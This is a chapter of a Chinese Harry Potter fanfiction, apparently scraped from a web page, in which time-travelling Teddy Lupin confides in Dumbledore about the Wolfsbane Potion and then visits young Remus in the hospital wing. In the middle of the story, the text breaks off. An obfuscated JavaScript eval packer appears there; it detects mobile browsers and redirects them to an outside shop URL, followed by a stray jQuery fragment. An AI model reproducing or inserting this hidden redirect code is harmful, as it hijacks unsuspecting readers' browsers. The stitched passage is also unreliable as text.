37.第三十七章·信任

作品:《[HP]泰迪卢平的时间之旅

    第三十七章·信任


    “什么?”泰迪有些不解。


    邓布利多转过身,“身为小泰迪先生的校长,我必须得告诉你。”


    “如果你改变了莱姆斯的人生轨迹,他也许就不会在未来遇到你母亲,也许就不会生下你。你可能会消失,不是死去,是从时间线上被抹去。没有声音,没有光芒,什么都没有。就像一滴水消失在海洋里。”


    这听起来有点可怕,泰迪心想,可是……


    “我知道。”他说。


    “你不害怕?”


    “害怕。”泰迪的声音很轻,但很稳,“但我在尖叫棚屋外面站了一整夜,听到他在里面嚎叫,听到他在咬自己的手臂,听到血滴在地板上的声音。那一瞬间,我发现我根本不在乎自己会不会消失,我只想让他不要再受苦了。”


    邓布利多看着他。


    那个老人站在那里,紫色的长袍在暮色中泛着暗沉的光,银白色的胡子垂在胸前,像一条静静流淌的河。他的脸上没有表情,但他的眼睛里有一种东西,不是悲伤,不是感动,更像是某种古老的、被时间打磨过的理解。


    “我答应你。”邓布利多说。


    泰迪的膝盖软了一下,差点站不住,心中那块一直积压着的巨石,仿佛被眼前的老人挪开了。


    “但我有一个条件。”邓布利多竖起一根手指。


    “什么条件?”泰迪迫不及待地问。


    “从今天起,你不许再一个人去尖叫棚屋。不许再一个人进禁林。不许再一个人面对任何超出你能力范围的危险。”邓布利多的语气很平静,但泰迪听出了里面的不容商量,“小泰迪先生,请你来找我,任何时候,不管是什么事。”


    泰迪张了张嘴,想说自己不是小孩子了,自己来自未来,自己知道怎么照顾自己。但看着邓布利多那双蓝色的眼睛,他把这些话咽了回去。


    “……好。”


    邓布利多满意地点了点头,重新坐回椅子上。他从抽屉里拿出一张羊皮纸和一支羽毛笔,推给泰迪。


    “把配方写下来,魔药虽然不是我的专长,但我当初也是拿着‘O’毕业的。”邓布利多愉快的说。


    泰迪接过羽毛笔,在羊皮纸上写了起来。他的字迹有些潦草,但每一个步骤都写得很清楚,写到最后一行的时候,泰迪忽然抬起头。


    “对了邓布利多校长,还有一件事,我觉得应该告诉你。”


    邓布利多正在看配方,闻言抬起头。


    “市面上的狼毒药剂材料,”泰迪说,“被几个家族垄断了。”


    邓布利多的眼睛微微眯了一下。


    “非洲树蛇皮、干荨麻、甲虫眼,这三种核心材料,近几个月来被人大批量收购。我去问了好几家魔药材料店,要么没货,要么价格翻了三倍。”泰迪的声音压低了,“我怀疑有人在囤积材料,准备大批量制作狼毒药剂。”


    邓布利多没有立刻说话。他的手指在桌面上轻轻敲了两下。


    泰迪解释说,“狼毒药剂可以让狼人在变身时保持理智……”


    如果这种东西被某些人掌握在手,他们就可以用提供药剂为条件,换取狼人的效忠。或者用断供药剂为威胁,逼狼人做某些事情。


    泰迪没有明说,但是邓布利多却完全明白这个孩子的未尽之言。


    办公室里安静了下来。


    墙上的画像们还在张嘴闭嘴,但他们的声音完全被邓布利多施的那个静音咒隔绝了。泰迪看到菲尼亚斯布莱克正在画框里走来走去,嘴巴一张一合,像是在骂人,但一个字都传不进来。


    邓布利多站起来,走到窗边,看着禁林上空的晚霞。那片橙红色的光映在他脸上,把他的皱纹照得很深。


    “材料的事情,我会去调查的。”


    邓布利多转过身,看着泰迪,“小泰迪先生,你需要回去休息了。你看起来像是三天没睡觉的样子。”


    泰迪低头看了看自己,袍子皱巴巴的,袖口有一小块没洗净的药渍,手背上还有昨晚咬出来的牙印。


    他确实像是三天没睡觉的样子。


    “谢谢你,教授。”泰迪感激地说。


    邓布利多笑了笑。那个笑容和平时不太一样,少了一些狡黠,多了一些温暖。


    “不用谢我,卢平先生。”他说,“你为你父亲做的一切,已经超过了大多数人一生能做的。”


    他走到泰迪身边,伸出手,在泰迪的肩膀上轻轻拍了一下。


    “去吧。明天下午三点,带着你的材料来这里,口令你知道的。”邓布利多对着泰迪眨眨眼,对于他盲猜办公室口令闯进来的事情,轻轻放过。


    邓布利多撤掉了云雾咒和消音咒,菲利普斯骂人的声音右边的清晰可闻了。


    泰迪赶紧离开,气鼓鼓地想:虽然菲利普斯布莱克,是他的老祖宗之一,可真的好讨厌啊!


    走廊里很安静。暮色从拱窗里透进来,把石板地染成了暗红色。泰迪站在校长办公室门口,深深地吸了一口气,然后慢慢地吐出来。


    他的眼睛还是红的,脸上还有泪痕。


    但他的脚步比来的时候轻了很多。


    ……


    泰迪来到了医疗翼。


    这一次,他没有在门口徘徊。


    门还是那扇门,白色的门板,黄铜的门把手,门缝里透出那股淡淡的药味和消毒水的气味。下午的时候他站在这里,手抬起来又放下去,像一只不敢落脚的鸟。但现在,他直接推开了门。


    庞弗雷夫人不在,大概是去吃晚饭了,她的办公桌上放着一杯喝了一半的茶,茶杯旁边摊着一本翻到一半的《魔药与解药周刊》。


    医疗翼的病房在走廊尽头,泰迪走过去的时候,脚步轻快得像踩在棉花上。他不知道该怎么形容现在的心情,像是一种“终于把背了一百年的包袱放下来了”的轻松。


    邓布利多知道了,他的秘密不再是秘密了,他不用再一个人扛着那些东西。


    病房的帘子拉着,泰迪侧着身钻进去。


    莱姆斯靠坐在病床上,背后垫着两个枕头,身上穿着那件洗得发白的睡衣。他的头发有些乱,脸色比平时更白一些,眼下挂着明显的青黑。床头柜上放着詹姆送来的牛皮纸袋和泰迪让转交的布袋子,纸袋的口开着,里面的面包少了两片。


    他正低头看着手里的什么东西,泰迪看不清是什么,听到声响,莱姆斯抬起了头,“泰迪?”


    “听说你病了,”泰迪走到床边,在椅子上坐下来,语气随意得像在说今天天气不错,“我来关心关心我的学习搭子。”


    莱姆斯看着他,眼睛里有一种说不清的东西。


    “詹姆带了你的糖果,”莱姆斯把床头柜上的布袋子拿起来,晃了晃,里面发出细碎的糖纸摩擦声,“太多了,我吃不完。”


    “慢慢吃,又不会坏。”


    “你每次都这么说。”


    “因为每次你都吃不完。”


    两个人对视了一下,同时笑了。笑得很轻,很短,但很真实。这个时候就看得出来,两个人之间相似的地方了。


    可惜现场没有第三个人能够看到。


    “身体感觉怎么样?”泰迪关切地问,从纸袋里掏出小天狼星塞进去的苹果,用变形术把一张糖纸变成水果刀,削起皮来。


    “还行,”莱姆斯把糖果袋子放回床头柜,“庞弗雷夫人说再躺一天就能回去了。”


    “那就好。”泰迪将削好皮的苹果一半递给莱姆斯,一半自己吃了,他也还灭有吃晚饭呢。


    病房里很安静,窗外暮色渐深,禁林的影子在玻璃上投下一片模糊的暗色。走廊里传来庞弗雷夫人走路的脚步声,从远到近,又从近到远,最后消失在某个拐角。


    莱姆斯低下头,手指无意识地摩挲着被角。


    他在想一件事。


    昨天晚上的事情,他记得的不多,每次满月过后,记忆就像被水泡过的墨迹,只剩下一些模糊的色块。


    但他记得一个气味。


    不是禁林里的泥土味,不是小屋里的灰尘味,不是他自己身上的血腥味。是另一种味道。淡淡的,甜丝丝的,带着一点点草药的清苦。那个味道在他变身最痛苦的时刻飘进了他的鼻子里,像一只手,轻轻地按在他滚烫的额头上。


    他当时以为是幻觉,变身的时候经常会有幻觉,听觉和嗅觉会变得极其敏锐,但大脑却无法正确处理这些信息,常常会把风的声音听成有人在说话,把树叶的气味闻成某种不存在的东西。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17475577|198390||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    但今天下午,泰迪来看他的时候,虽然泰迪没有进来,但莱姆斯闻到了。


    ——他就在门外。


    那阵淡淡的药味从门缝里渗进来,和昨天晚上他在尖叫棚屋里闻到的味道一模一样。


    莱姆斯抬起头,看着泰迪。


    泰迪正靠在椅背上,吃着苹果,目光落在窗外。他的侧脸在暮色中显得有些模糊,但嘴角的弧度是放松的,和平时没什么不同。


    他是不是知道了什么?莱姆斯想。


    泰迪每次给他的糖果,别人吃了会跳舞、会唱歌、会倒立,他吃了却什么都不会发生。只有那种温和的、暖暖的感觉从胃里扩散到四肢,像是有人在他身体里点了一盏小灯。


    他以前以为那是因为自己是狼人,恶作剧产品对狼人无效。但昨晚那个气味,那个和泰迪身上的药味一模一样的气味,让他开始怀疑别的事情。


    泰迪他……一定知道什么。


    但泰迪从来没有问过,从来没有提过,从来没有用那种“我可怜你”的眼神看过他。他只是给他糖果,给他带早餐,在走廊里笑着跟他打招呼,在图书馆帮他占座。


    就像他是一个普通的,不需要特殊对待的朋友,莱姆斯的喉咙动了一下。


    “泰迪。”他开口了。


    “嗯?”泰迪回过头来。


    莱姆斯注意到泰迪的头发,似乎开始变成亮橙色的样子了,他现在的心情很好。


    “……没什么。”莱姆斯低下头,看着自己放在被面上的手。那双手很瘦,骨节分明,指甲修剪得很整齐。手背上有一道新结的痂,是昨晚咬的。


    他想问,想问“你是不是知道什么”,想问“你给我的糖果是不是加了别的什么东西”,想问“昨天晚上你是不是来过”。


    他不知道该怎么面对这种事。


    他的父母告诉了他怎么面对憎恶、害怕、恐惧……却没有告诉他,要怎么面对那突如其来的、无条件的关爱。


    泰迪不知道莱姆斯在想什么,他看着窗外的暮色,心里想着的是邓布利多说的那些话。


    【时间是有韧性的,它能够承受一些微小的改变。】


    他不知道自己的到来会改变什么,不知道莱姆斯的未来会不会变得不一样,不知道自己会不会消失。但那些事情现在都不重要了,重要的是,莱姆斯坐在他面前,活着,在呼吸,在说话,床头柜上放着吃了一半的面包和没吃完的糖果。


    这就够了。


    “莱姆斯。”泰迪说。


    “嗯?”


    “糖果记得吃,不是所有的都要给别人尝,有些是专门给你的。”


    莱姆斯愣了一下,“专门给我的?”


    “新品试吃员嘛,”泰迪站起来,拍了拍袍子上的皱褶,“我想邀请你加入我们魔女的小屋呢。你要是把我的试吃品给别人了,我得不到反馈,怎么做改良?”


    莱姆斯看着他,嘴唇动了动,“知道了。”他扬起一个微小的弧度。


    “那我先走了。”泰迪笑了笑,转身往外走。


    “明天见。”莱姆斯又叫住了他。


    “明天见~”


    ……


    泰迪推开门,走了出去。


    走廊里很安静。庞弗雷夫人不知道从哪里冒出来了,手里端着一杯新沏的茶,看到泰迪从病房里出来,挑了挑眉。


    “你是那个,赫奇帕奇的卢平先生?”


    “是,夫人。”泰迪礼貌的和庞弗雷夫人打招呼。


    庞弗雷夫人上下打量了他一眼,似乎在确认他有没有把什么违禁品带进病房。确认没有之后,她点了点头,端着茶走回了办公室。


    泰迪站在走廊里,医疗翼的气味不好闻,消毒水、药膏、还有一点点挥之不去的病气。但他觉得这一刻,这气味也没那么难闻。


    他迈开步子,朝楼梯走去。


    身后,病房的门半开着。


    莱姆斯靠坐在病床上,手里攥着那个布袋子。他没有打开,只是攥着,指节微微泛白。


    袋口系着的那根绳子上打了一个奇怪的结,他解了很久都没解开。


    他低下头,把袋子凑到鼻尖。


    淡淡的药味。


    和昨天晚上一模一样的味道。